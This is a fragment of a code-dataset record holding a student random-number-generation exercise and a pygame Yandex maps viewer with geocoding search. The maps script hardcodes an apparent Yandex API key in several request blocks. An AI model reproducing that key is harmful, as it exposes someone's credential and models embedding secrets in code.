Function\")\nplt.xlabel(\"$U1b_i$\")\nplt.ylabel(\"Frequency\")\nprint(\"The mean and std for Builtin_Uniform is:\",round(np.mean(U1b),4),round(np.std(U1b),4))\n\nplt.show()\n\n# Q1 (c)\nprint(\"Q1 (c)\")\nprint(\"the histogram of two look very similar,means and std are also very similar,means of two distributions are separately:\")\nprint(round(np.mean(U1a),4),round(np.mean(U1b),4))\nprint(\"and std of two distributions are separately:\")\nprint(round(np.std(U1a),4),round(np.std(U1b),4))\n\n# Q2 (a)\nprint(\"Q2 (a)\")\nU2 = LGM_uniform(101,10000)\nX2 = np.zeros(10000)\nfor i in range(0,10000):\n if U2[i] < 0.3:\n X2[i] = -1\n if U2[i] >= 0.3 and U2[i] < 0.65:\n X2[i] = 0\n if U2[i] >= 0.65 and U2[i] < 0.85:\n X2[i] = 1\n if U2[i] >= 0.85:\n X2[i] = 2\nprint(\"X2 is,\",X2)\n\n# Q2 (b)\nprint(\"Q2 (b)\")\nplt.hist(X2, color='grey')\nplt.title(\"Histogram of $X_2$\")\nplt.xlabel(\"$X_2$\")\nplt.ylabel(\"Frequency\")\nplt.show()\n\nprint(\"The mean and standard deviation are separately\",round(np.mean(X2),4),round(np.std(X2),4))\n\n# Q3 (a)\nprint(\"Q3 (a)\")\n# generate 44,000 uniform (0,1)\nU3 = LGM_uniform(2,44000)\n\n# generate 44,000 Bernoulli random numbers\nX3 = np.zeros(44000)\nfor i in range(0,44000):\n if U3[i] < 0.64:\n X3[i] = 1\n if U3[i] >= 0.64:\n X3[i] = 0\n\n# Define Binomial variable Y3[i]=sum of sublist\nsplit= list(range(0, 44000, 44))\nsub=[X3[i: i + 44] for i in split]\nY3=np.zeros(1000)\nfor i in range(1,1000):\n Y3[i]=sum(sub[i])\nprint(Y3)\n\n# Q3 (b)\nprint(\"Q3 (b)\")\n\n# plot the histogram\nplt.hist(Y3, bins=100, color='pink')\nplt.title(\"Histogram of Binomial B(44,0.64) $Y_3$\")\nplt.xlim(15,40)\nplt.xlabel(\"$Y_3$\")\nplt.ylabel(\"Frequency\")\nplt.show()\n\n# compute the probability P(Y3>=40)\nm=1000\nm1=0\nfor i in range(1,1000):\n if Y3[i]>40 or Y3[i]==40:\n m1=m1+1\nprint(m1)\nprob=m1/1000.0\nprint (\"The empirical probability that the random variable Y3 is at least 40 is\",prob)\n\n# Q4 (a)\nprint(\"Q4 (a)\")\n#np.random.exponential(1.5,10000)\nlamb=1.5\nY4=np.zeros(10000)\nY4=-(1/lamb)*np.log(U1a)\nprint(Y4)\n\n\n# Q4 (b)\nprint(\"Q4 (b)\")\nprob1=np.size(np.where(Y4 >= 1))/10000.0\nprob2=np.size(np.where(Y4 >= 4))/10000.0\nprint (\"The probability that the random variable Y4 is at least 1 is\",prob1)\nprint (\"The probability that the random variable Y4 is at least 4 is\",prob2)\n\n# Q4 (c)\nprint(\"Q4 (c)\")\n# plot the histogram\nplt.hist(Y4, bins=30, color='orange')\nplt.title(\"Histogram of Exponential $Y_4$\")\nplt.xlabel(\"$Y_4$\")\nplt.ylabel(\"Frequency\")\nplt.show()\n\n# caculate the mean and standard deviation \nprint(\"The mean and standard deviation are separately\",round(np.mean(Y4),4),round(np.std(Y4),4))\n\n\n# Q5 (a)\nprint(\"Q5 (a)\")\n# generate 5000 uniformly distributed random numbers\nU51=LGM_uniform(101,5000)\nprint(U51)\n\n# Q5 (b)\nprint(\"Q5 (b)\")\n# generate normal dist random numbers\nU52=LGM_uniform(123,5000)\nZ51=np.zeros(5000)\nstart_time = time.time()\nfor i in range(1,5000):\n Z51[i]=np.sqrt(-2*np.log(U51[i]))*math.cos(2*math.pi*U52[i])\nprint(Z51)\nt1=time.time() - start_time\n\n# plot the histogram\nplt.hist(Z51,bins=30,color=\"red\")\nplt.title(\"Histogram of Box-Muller Normal $Z_51$\")\nplt.xlabel(\"$Z_51$\")\nplt.ylabel(\"Frequency\")\nplt.show()\n\n# Q5 (c)\nprint(\"Q5 (c)\")\n# caculate the mean and variance\nprint(\"The mean and standard deviation are separately\",round(np.mean(Z51),4),round(np.std(Z51),4))\n\n# Q5 (d)\nprint(\"Q5 (d)\")\nW=np.zeros(5000)\nV1=np.zeros(5000)\nV2=np.zeros(5000)\nZ52=np.zeros(5000)\nV1[:]=2*U51[:]-1\nV2[:]=2*U52[:]-1\nW[:]=pow(V1[:],2)+pow(V2[:],2)\nj=0\nstart_time = time.time()\nfor i in range(0,5000):\n if W[i]<=1:\n Z52[j]=V1[i]*np.sqrt(-2*np.log(W[i])/(W[i]))\n j=j+1\nZ52=Z52[0:j]\nt2=time.time() - start_time\n\n# plot the histogram\nplt.hist(Z52, bins=30,color=\"orange\")\nplt.title(\"Histogram of Polar-Marsaglia Normal $Z_52$\")\nplt.xlabel(\"$Z_52$\")\nplt.ylabel(\"Frequency\")\nplt.show()\n\n# Q5 (e)\nprint(\"Q5 (e)\")\n# caculate the mean and variance\nprint(\"The mean and standard deviation are separately\",round(np.mean(Z52),4),round(np.std(Z52),4))\n\n# Q5 (f)\nprint(\"Q5 (f)\")\nprint(\"By using python's build-in function:\")\nprint(\"The effiency for Box-Muller is:\", round(t1,5), \"s.\")\nprint(\"The effiency for Polar-Marsaglia is:\", round(t2,5), \"s.\")\nprint(\"Polar-Marsaglia method is more efficient based on the result presented above, because trigonometric function is time consuming than polynomial function.\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "Random Number Generator/temp.py", "file_name": "temp.py", "file_ext": "py", "file_size_in_byte": 5202, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.zeros", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 42, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 164, "usage_type": "call"}, {"api_name": "time.time", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 167, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 167, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 167, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 188, "usage_type": "call"}, {"api_name": "time.time", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 196, "usage_type": "call"}, {"api_name": "time.time", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 211, "usage_type": "call"}]} {"seq_id": "38472525", "text": "import math\nimport os\nimport sys\n\nimport pygame\nimport requests\n\ncoords = input()\ncoords_num = coords.split(',')\ncoords_num = [float(coords_num[0]), float(coords_num[1])]\nspn = input()\n\nspn_num1 = float(spn.split(',')[0])\nspn_num2 = float(spn.split(',')[1])\nif spn_num1 <= 1:\n z = '8'\nelif spn_num1 <= 2:\n z = '7'\nelif spn_num1 <= 5:\n z = '6'\nelif spn_num1 <= 9:\n z = '5'\nelif spn_num1 <= 19:\n z = '4'\nmap_request = f\"http://static-maps.yandex.ru/1.x/?ll={coords}&spn={spn}&l=map\"\nresponse = requests.get(map_request)\nif not response:\n print(\"Ошибка выполнения запроса:\")\n print(map_request)\n print(\"Http статус:\", response.status_code, \"(\", response.reason, \")\")\n sys.exit(1)\nmap_file = \"map.png\"\nwith open(map_file, \"wb\") as file:\n file.write(response.content)\nx, y = 600, 450\npygame.init()\nscreen = pygame.display.set_mode((x, y))\nscreen.blit(pygame.image.load(map_file), (0, 0))\nkoeff_x, koeff_y = 0.0000428, 0.0000428\n\n\ndef screen_to_geo(pos, lon, lat, z):\n coordx = round(lon + (pos[0] - x / 2) * koeff_x * 2 ** (15 - z), 6)\n coordy = round(lat + (y / 2 - pos[1]) * koeff_y * math.cos(math.radians(lat)) * 2 ** (15 - z), 6)\n return coordx, coordy\n\n\nrunning = True\ndelta1 = 1.2\ndelta2 = 1.2\npygame.draw.rect(screen, (0, 0, 0), (0, 0, 150, 50))\npygame.draw.rect(screen, (255, 255, 255), (400, 0, 198, 40))\npygame.draw.rect(screen, (0, 0, 0), (398, 0, 200, 40), 2)\npygame.draw.rect(screen, (0, 0, 0), (398, 40, 60, 40))\npygame.draw.rect(screen, (0, 0, 0), (529, 40, 70, 40))\npygame.draw.rect(screen, (255, 255, 255), (10, 380, 580, 30))\npygame.draw.rect(screen, (0, 0, 0), (8, 380, 582, 30), 2)\npygame.draw.rect(screen, (255, 255, 255), (10, 330, 60, 40))\npygame.draw.rect(screen, (0, 0, 0), (8, 330, 62, 40), 2)\nfont = pygame.font.Font(None, 40)\ntext = font.render(\"CHANGE\", True, (255, 255, 255))\ntext2 = font.render(\"OK\", True, (255, 255, 255))\ntext3 = font.render(\"DEL\", True, (255, 255, 255))\ntext4 = font.render(\"OFF\", True, (0, 0, 0))\nscreen.blit(text, (9, 13))\nscreen.blit(text2, (405, 45))\nscreen.blit(text3, (535, 45))\nscreen.blit(text4, (10, 336))\npygame.display.flip()\ntype_map = ['map', 'sat', 'sat,skl']\npts = []\nlnum = 0\ntext4 = ''\ninput_rect = pygame.Rect(400, 0, 198, 40)\nactive = False\nok = False\npost_active = False\ndelete = False\ntap = False\nerr = False\nask = ''\nclock = pygame.time.Clock()\nwhile running:\n renew = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n if 0 <= event.pos[0] <= 150 and 0 <= event.pos[1] <= 50:\n lnum = (lnum + 1) % 3\n renew = True\n elif 398 <= event.pos[0] <= 458 and 40 <= event.pos[1] <= 100:\n if ask != '':\n ok = True\n renew = True\n elif 529 <= event.pos[0] <= 599 and 40 <= event.pos[1] <= 80:\n delete = True\n renew = True\n elif 10 <= event.pos[0] <= 70 and 330 <= event.pos[1] <= 370:\n post_active = not post_active\n renew = True\n elif input_rect.collidepoint(event.pos):\n active = True\n else:\n active = False\n coord_tap = screen_to_geo(event.pos, float(coords.split(',')[0]), float(coords.split(',')[1]), int(z))\n tap = True\n renew = True\n\n if active:\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_BACKSPACE:\n ask = ask[:-1]\n else:\n ask += event.unicode\n renew = True\n if event.type == pygame.KEYDOWN:\n num = int(z)\n if num < 4:\n num = num / 100\n elif num < 6:\n num = num / 50\n elif num < 8:\n num = num / 10\n elif num < 10:\n num = num / 5\n elif num < 12:\n num = num / 2\n elif num < 13:\n num = num * 4\n elif num < 14:\n num = num * 16\n elif num < 15:\n num = num * 32\n elif num < 16:\n num = num * 100\n if event.key == pygame.K_UP:\n coords_num[1] = min(85, coords_num[1] + delta2 / num)\n coords = ','.join([str(i) for i in coords_num])\n renew = True\n if event.key == pygame.K_DOWN:\n coords_num[1] = max(-85, coords_num[1] - delta2 / num)\n coords = ','.join([str(i) for i in coords_num])\n renew = True\n if event.key == pygame.K_LEFT:\n coords_num[0] = max(0, coords_num[0] - delta1 / num)\n coords = ','.join([str(i) for i in coords_num])\n renew = True\n if event.key == pygame.K_RIGHT:\n coords_num[0] = min(180, coords_num[0] + delta1 / num)\n coords = ','.join([str(i) for i in coords_num])\n renew = True\n if event.key == pygame.K_PAGEUP:\n z = str(int(z) - 1)\n if int(z) < 1:\n z = '1'\n renew = True\n if event.key == pygame.K_PAGEDOWN:\n z = str(int(z) + 1)\n if int(z) > 17:\n z = '17'\n renew = True\n if renew:\n serv = 'http://static-maps.yandex.ru/1.x/'\n if delete and pts != []:\n pts = pts[:-1]\n delete = False\n text4 = ''\n if ok and ask != '':\n toponym_to_find = ask\n params = {\n 'apikey': '40d1649f-0493-4b70-98ba-98533de7710b',\n 'geocode': toponym_to_find,\n 'format': 'json'\n }\n resp = requests.get(f\"http://geocode-maps.yandex.ru/1.x/\", params=params)\n try:\n try:\n post = \\\n resp.json()['response']['GeoObjectCollection']['featureMember'][0]['GeoObject'][\n 'metaDataProperty']['GeocoderMetaData']['Address']['postal_code']\n except Exception:\n print(resp.json())\n post = ''\n coords_num1 = resp.json()['response']['GeoObjectCollection']['featureMember'][0][\n 'GeoObject']['Point']['pos'].split()\n coords_num = [float(coords_num1[0]), float(coords_num1[1])]\n coords = ','.join(coords_num1)\n params2 = {\n 'apikey': '40d1649f-0493-4b70-98ba-98533de7710b',\n 'geocode': coords,\n 'format': 'json',\n }\n resp2 = requests.get(f\"http://geocode-maps.yandex.ru/1.x/\", params=params2)\n place = resp2.json()['response']['GeoObjectCollection']['featureMember'][0]['GeoObject'][\n 'metaDataProperty']['GeocoderMetaData']['text']\n font2 = pygame.font.Font(None, 20)\n if post_active:\n place = f'{place} {post}'\n text4 = font2.render(place, True, (0, 0, 0))\n ok = False\n ask = ''\n serv = 'http://static-maps.yandex.ru/1.x/'\n if pts:\n map_request = f\"{serv}?ll={coords}&z={z}&l={type_map[lnum]}&pt={coords}~{'~'.join(pts)}\"\n else:\n map_request = f\"{serv}?ll={coords}&z={z}&l={type_map[lnum]}&pt={coords}\"\n pts1 = []\n if coords in pts:\n for i in pts:\n if i != coords:\n pts1.append(i)\n pts1.append(coords)\n pts = pts1\n else:\n pts.append(coords)\n except IndexError:\n err = True\n ok = False\n text = font.render(\"ERR\", True, (255, 0, 0))\n screen.blit(text, (460, 45))\n pygame.display.flip()\n\n if tap:\n try:\n coords1 = f'{coord_tap[0]},{coord_tap[1]}'\n params2 = {\n 'apikey': '40d1649f-0493-4b70-98ba-98533de7710b',\n 'geocode': coords1,\n 'format': 'json',\n }\n resp2 = requests.get(f\"http://geocode-maps.yandex.ru/1.x/\", params=params2)\n place = resp2.json()['response']['GeoObjectCollection']['featureMember'][0]['GeoObject'][\n 'metaDataProperty']['GeocoderMetaData']['text']\n coords_num = [float(coords.split(',')[0]), float(coords.split(',')[1])]\n font2 = pygame.font.Font(None, 20)\n\n if post_active:\n try:\n params = {\n 'apikey': '40d1649f-0493-4b70-98ba-98533de7710b',\n 'geocode': coords1,\n 'format': 'json'\n }\n resp = requests.get(f\"http://geocode-maps.yandex.ru/1.x/\", params=params)\n post = \\\n resp.json()['response']['GeoObjectCollection']['featureMember'][0][\n 'GeoObject'][\n 'metaDataProperty']['GeocoderMetaData']['Address']['postal_code']\n place = f'{place} {post}'\n except Exception:\n pass\n text4 = font2.render(place, True, (0, 0, 0))\n ok = False\n ask = ''\n serv = 'http://static-maps.yandex.ru/1.x/'\n if pts:\n map_request = f\"{serv}?ll={coords}&z={z}&l={type_map[lnum]}&pt={coords1}~{'~'.join(pts)}\"\n else:\n map_request = f\"{serv}?ll={coords}&z={z}&l={type_map[lnum]}&pt={coords1}\"\n pts1 = []\n if coords1 in pts:\n for i in pts:\n if i != coords1:\n pts1.append(i)\n pts1.append(coords1)\n pts = pts1\n else:\n pts.append(coords1)\n except IndexError:\n err = True\n ok = False\n text = font.render(\"ERR\", True, (255, 0, 0))\n screen.blit(text, (460, 45))\n pygame.display.flip()\n tap = False\n else:\n serv = 'http://static-maps.yandex.ru/1.x/'\n if pts:\n map_request = f\"{serv}?ll={coords}&z={z}&l={type_map[lnum]}&pt={'~'.join(pts)}\"\n else:\n map_request = f\"{serv}?ll={coords}&z={z}&l={type_map[lnum]}\"\n map_file = \"map.png\"\n response = requests.get(map_request)\n with open(map_file, \"wb\") as file:\n file.write(response.content)\n screen.blit(pygame.image.load(map_file), (0, 0))\n pygame.draw.rect(screen, (0, 0, 0), (0, 0, 150, 50))\n font = pygame.font.Font(None, 40)\n text = font.render(\"CHANGE\", True, (255, 255, 255))\n screen.blit(text, (9, 13))\n pygame.draw.rect(screen, (255, 255, 255), (400, 0, 198, 40))\n pygame.draw.rect(screen, (0, 0, 0), (398, 0, 200, 40), 2)\n pygame.draw.rect(screen, (0, 0, 0), (398, 40, 60, 40))\n pygame.draw.rect(screen, (0, 0, 0), (529, 40, 70, 40))\n pygame.draw.rect(screen, (255, 255, 255), (10, 380, 580, 30))\n pygame.draw.rect(screen, (0, 0, 0), (8, 380, 582, 30), 2)\n text = font.render(ask, True, (250, 0, 150))\n text2 = font.render(\"OK\", True, (255, 255, 255))\n text3 = font.render(\"DEL\", True, (255, 255, 255))\n if not post_active:\n text5 = font.render(\"OFF\", True, (0, 0, 0))\n pygame.draw.rect(screen, (255, 255, 255), (10, 330, 60, 40))\n pygame.draw.rect(screen, (0, 0, 0), (8, 330, 62, 40), 2)\n screen.blit(text5, (10, 336))\n else:\n text5 = font.render(\"ON\", True, (255, 255, 255))\n pygame.draw.rect(screen, (0, 0, 0), (10, 330, 60, 40))\n pygame.draw.rect(screen, (255, 255, 255), (8, 330, 62, 40), 2)\n screen.blit(text5, (10, 336))\n if text4:\n screen.blit(text4, (15, 387))\n screen.blit(text3, (535, 45))\n screen.blit(text2, (405, 45))\n screen.blit(text, (400, 7))\n if err:\n text = font.render(\"ERR\", True, (255, 0, 0))\n screen.blit(text, (460, 45))\n err = False\n ok = False\n pygame.display.flip()\n clock.tick(60)\n\nos.remove(map_file)\n", "sub_path": "web.py", "file_name": "web.py", "file_ext": "py", "file_size_in_byte": 12783, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 38, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 44, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 54, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 56, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 58, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 59, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 59, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 60, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 60, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 69, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 82, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 85, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 85, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pygame.K_BACKSPACE", "line_number": 112, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 137, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 141, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 145, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 149, "usage_type": "attribute"}, {"api_name": "pygame.K_PAGEUP", "line_number": 153, "usage_type": "attribute"}, {"api_name": "pygame.K_PAGEDOWN", "line_number": 158, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 176, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 194, "usage_type": "call"}, {"api_name": "pygame.font.Font", "line_number": 197, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 222, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 222, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 232, "usage_type": "call"}, {"api_name": "pygame.font.Font", "line_number": 236, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 236, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 245, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 275, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 275, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 284, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 287, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 287, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 288, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 288, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 289, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 289, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 292, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 292, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 293, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 293, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 294, "usage_type": "call"}, {"api_name": "pygame.draw", 